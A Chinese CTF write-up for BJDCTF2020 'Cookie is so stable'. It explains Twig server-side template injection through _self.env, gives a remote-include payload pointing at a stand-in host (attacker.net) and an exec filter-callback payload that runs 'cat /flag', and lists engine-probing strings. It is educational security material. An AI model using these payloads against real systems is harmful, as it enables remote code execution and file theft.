[WP/SSTI/PHP_Twig]Cookie is so stable解题/Twig模板注入

本文详细介绍了PHP-Twig模板引擎中的安全漏洞,特别是如何利用Self.env属性进行远程文件包含和任意函数调用。通过注册回调函数和过滤器,可以实现命令执行。文中提供了解题思路和payload示例,并探讨了可能的利用方式,如文件包含和触发XSS。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[BJDCTF2020]Cookie is so stable

PHP-Twig模板注入

参考了知乎大佬的文章:https://zhuanlan.zhihu.com/p/28823933

通过_self我们可以调用环境变量中的env属性,当PHP打开远程加载文件的参数(allow_url_include)时,问我们可以通过它来实现远程文件包含

{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

利用getFilter函数中的危险函数call_user_func,我们可以实现任意函数调用

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
// 前半段的含义为将`exec`注册为回调函数,后半段为回调参数

源码为

public function getFilter($name)
  {
    ...
    // 遍历回调函数,以$name为参数
    foreach ($this->filterCallbacks as $callback) {
    if (false !== $filter = call_user_func($callback, $name)) {
      return $filter;
    }
  }
  return false;
}

// 注册回调函数,将回调函数名封装为数组
public function registerUndefinedFilterCallback($callable)
{
  $this->filterCallbacks[] = $callable;
}

解题

提示为看Cookie,在Flag页面提交ID后,可以在存储中看到Cookie添加了新的参数,

输入的回显,首先猜测为SSTI,

测试模板,

{{7*'7'}}
回显:49

Twig注入,因此我们构造payload读文件,

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

但是提交会过滤拦截,我们仅需修改COOKIE,然后刷新即可得到flag

补充:

测试模板引擎方法:

// Smarty
a{*comment*}b

// Mako
a{*comment*}b
${"z".join("ab")}

// Jinja2
{{7*7}}
{{7*'7'}}    ->   7777777

// Twig
{{7*7}}
{{7*'7'}}    ->    49

利用HTML探测注入点:

用户输入可作为代码执行

name=Heph4es
hello,Heph4es.

name=Heph4es</body>     <!--整体作为变量传入模板,但并不存在此变量,所以无法显示-->
hello,

name=Heph4es}}</body>   <!--变量被传入,但在}}封闭,</body>逃逸为普通HTML文本-->
hello,

延展:可能的利用方式

  • 触发文件包含
  • 构造XSS
  • 触发命令执行
vulhub靶场是一个专注于网络安全渗透测试和漏洞利用的平台,其中可以通过各种漏洞学习到不同的攻击技术。这次我们来讨论vulhub靶场中的一个特定教程:flask/ssti。 在flask/ssti教程中,我们将学习到的是Flask应用程序中的服务器端模板注入(Server-side Template Injection, SSTI)漏洞。这种漏洞的出现是由于Flask应用程序在渲染服务器端模板时没有适当的过滤和限制用户输入的内容,导致恶意用户可以在模板中执行任意的代码。这种漏洞的潜在风险非常高,攻击者可以利用它们执行代码,获取敏感信息甚至在服务器上执行任意命令。 在vulhub靶场中,我们将通过一个具体的示例来演示flask/ssti漏洞的利用。首先,我们需要安装所需的环境,包括Docker和Python;接下来,我们将根据教程提供的源代码和构建脚本,构建和启动一个漏洞应用程序;然后,我们将尝试在应用程序的输入框中输入一些特定代码,以执行任意的命令或获取敏感信息。 通过这个教程,我们可以了解到服务器端模板注入漏洞的原理和危害,并且学习到如何通过构造恶意输入来利用这种漏洞。同时,了解到安全开发中对用户输入的过滤和限制的重要性,以及如何防止和修复这种漏洞。 总之,vulhub靶场中的flask/ssti教程为我们提供了一个实践学习服务器端模板注入漏洞的机会,通过理论和实践相结合的方式,帮助我们更好地了解和掌握网络安全领域中的渗透测试和漏洞利用技术。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值